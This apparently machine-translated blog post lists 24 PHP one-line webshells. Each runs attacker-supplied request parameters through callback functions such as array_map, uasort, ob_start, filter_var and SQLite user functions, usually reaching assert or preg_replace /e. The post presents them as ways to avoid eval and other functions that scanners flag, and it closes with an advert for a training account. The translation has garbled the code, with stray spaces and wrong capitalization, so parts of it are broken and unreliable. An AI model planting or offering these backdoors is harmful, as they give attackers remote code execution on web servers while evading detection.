Share a word about PHP with no features
Share a sentence that does not require dynamic functions, eval, sensitive functions, and no blocking. (A few words require php5.4.8 +, or sqlite/pdo/yaml/memcached extensions)
Principle: http://www.toceanedu.com/shareMethod/639.jhtml 01 $ E = $ _ REQUEST ['E']; $ Arr = array ($ _ POST ['pass'],); Array_filter ($ arr, $ e ); 02 $ E = $ _ REQUEST ['E']; $ Arr = array ($ _ POST ['pass'],); Array_map ($ e, $ arr ); 03 $ E = $ _ REQUEST ['E']; $ Arr = array ('test', $ _ REQUEST ['pass']); Uasort ($ arr, $ e ); 04 $ E = $ _ REQUEST ['E']; $ Arr = array ('test' => 1, $ _ REQUEST ['pass'] => 2 ); Uksort ($ arr, $ e ); 05 $ Arr = new ArrayObject (array ('test', $ _ REQUEST ['pass']); $ Arr-> uasort ('assert '); 06 $ Arr = new ArrayObject (array ('test' => 1, $ _ REQUEST ['pass'] => 2 )); $ Arr-> uksort ('assert '); 07 $ E = $ _ REQUEST ['E']; $ Arr = array (1 ); Array_reduce ($ arr, $ e, $ _ POST ['pass']); 08 $ E = $ _ REQUEST ['E']; $ Arr = array ($ _ POST ['pass']); $ Arr2 = array (1 ); Array_udiff ($ arr, $ arr2, $ e ); 09 $ E = $ _ REQUEST ['E']; $ Arr = array ($ _ POST ['pass'] => '|. * | E ',); Array_walk ($ arr, $ e ,''); 10 $ E = $ _ REQUEST ['E']; $ Arr = array ($ _ POST ['pass'] => '|. * | E ',); Array_walk_recursive ($ arr, $ e ,''); 11 Mb_ereg_replace ('. *', $ _ REQUEST ['pass'], '', 'E '); 12 Echopreg_filter ('|. * | E', $ _ REQUEST ['pass'], ''); 13 Ob_start ('assert '); Echo $ _ REQUEST ['pass']; Ob_end_flush (); 14 $ E = $ _ REQUEST ['E']; Register_shutdown_function ($ e, $ _ REQUEST ['pass']); 15 $ E = $ _ REQUEST ['E']; Declare (ticks = 1 ); Register_tick_function ($ e, $ _ REQUEST ['pass']); 16 Filter_var ($ _ REQUEST ['pass'], FILTER_CALLBACK, array ('options' => 'assert ')); 17 Filter_var_array (array ('test' = >$ _ REQUEST ['pass']), array ('test' => array ('filter' => FILTER_CALLBACK, 'options' => 'assert '))); 18 $ E = $ _ REQUEST ['E']; $ Db = new PDO ('sqlite: sqlite. db3 '); $ Db-> sqliteCreateFunction ('myfunc', $ e, 1 ); $ Something = $ db-> prepare ("SELECT myfunc (: exec )"); $ Something-> execute (array (': exec' = >$ _ REQUEST ['pass']); 19 $ E = $ _ REQUEST ['E']; $ Db = new SQLite3 ('sqlite. db3 '); $ Db-> createFunction ('myfunc', $ e ); $ Stmt = $ db-> prepare ("SELECT myfunc (?) "); $ Stmt-> bindValue (1, $ _ REQUEST ['pass'], SQLITE3_TEXT ); $ Stmt-> execute (); 20 $ Str = urlencode ($ _ REQUEST ['pass']); $ Yaml = < Greeting :! {$ Str} "|. + | e" EOD; $ Parsed = yaml_parse ($ yaml, 0, $ cnt, array ("! {$ _ REQUEST ['pass']} "=> 'preg _ replace ')); 21 $ Mem = new Memcache (); $ Re = $ mem-> addServer ('localhost', 11211, TRUE, 100, 0,-1, TRUE, create_function ('$ a, $ B, $ c, $ d, $ e ', 'Return assert ($ );')); $ Mem-> connect ($ _ REQUEST ['pass'], 11211, 0 ); 22 Preg_replace_callback ('/. +/I ', create_function (' $ arr', 'Return assert ($ arr [0]); '), $ _ REQUEST ['pass']); 23 Mb_ereg_replace_callback ('. +', create_function ('$ arr', 'Return assert ($ arr [0]);'), $ _ REQUEST ['pass']); 24 $ Iterator = new CallbackFilterIterator (new ArrayIterator (array ($ _ REQUEST ['pass'],), create_function ('$ A', 'assert ($ ); ')); Foreach ($ iterator as $ item) {echo $ item ;} If any technical problems are not solved in time during the learning process, we recommend a good public account: [tosheng technology] professional technical staff will solve the problem for you. [Tuo Sheng technology] focuses on sharing the most comprehensive programming development video learning materials and learning experience. Currently, teaching videos for Java, Android, UID, PHP, and iOS have been compiled,
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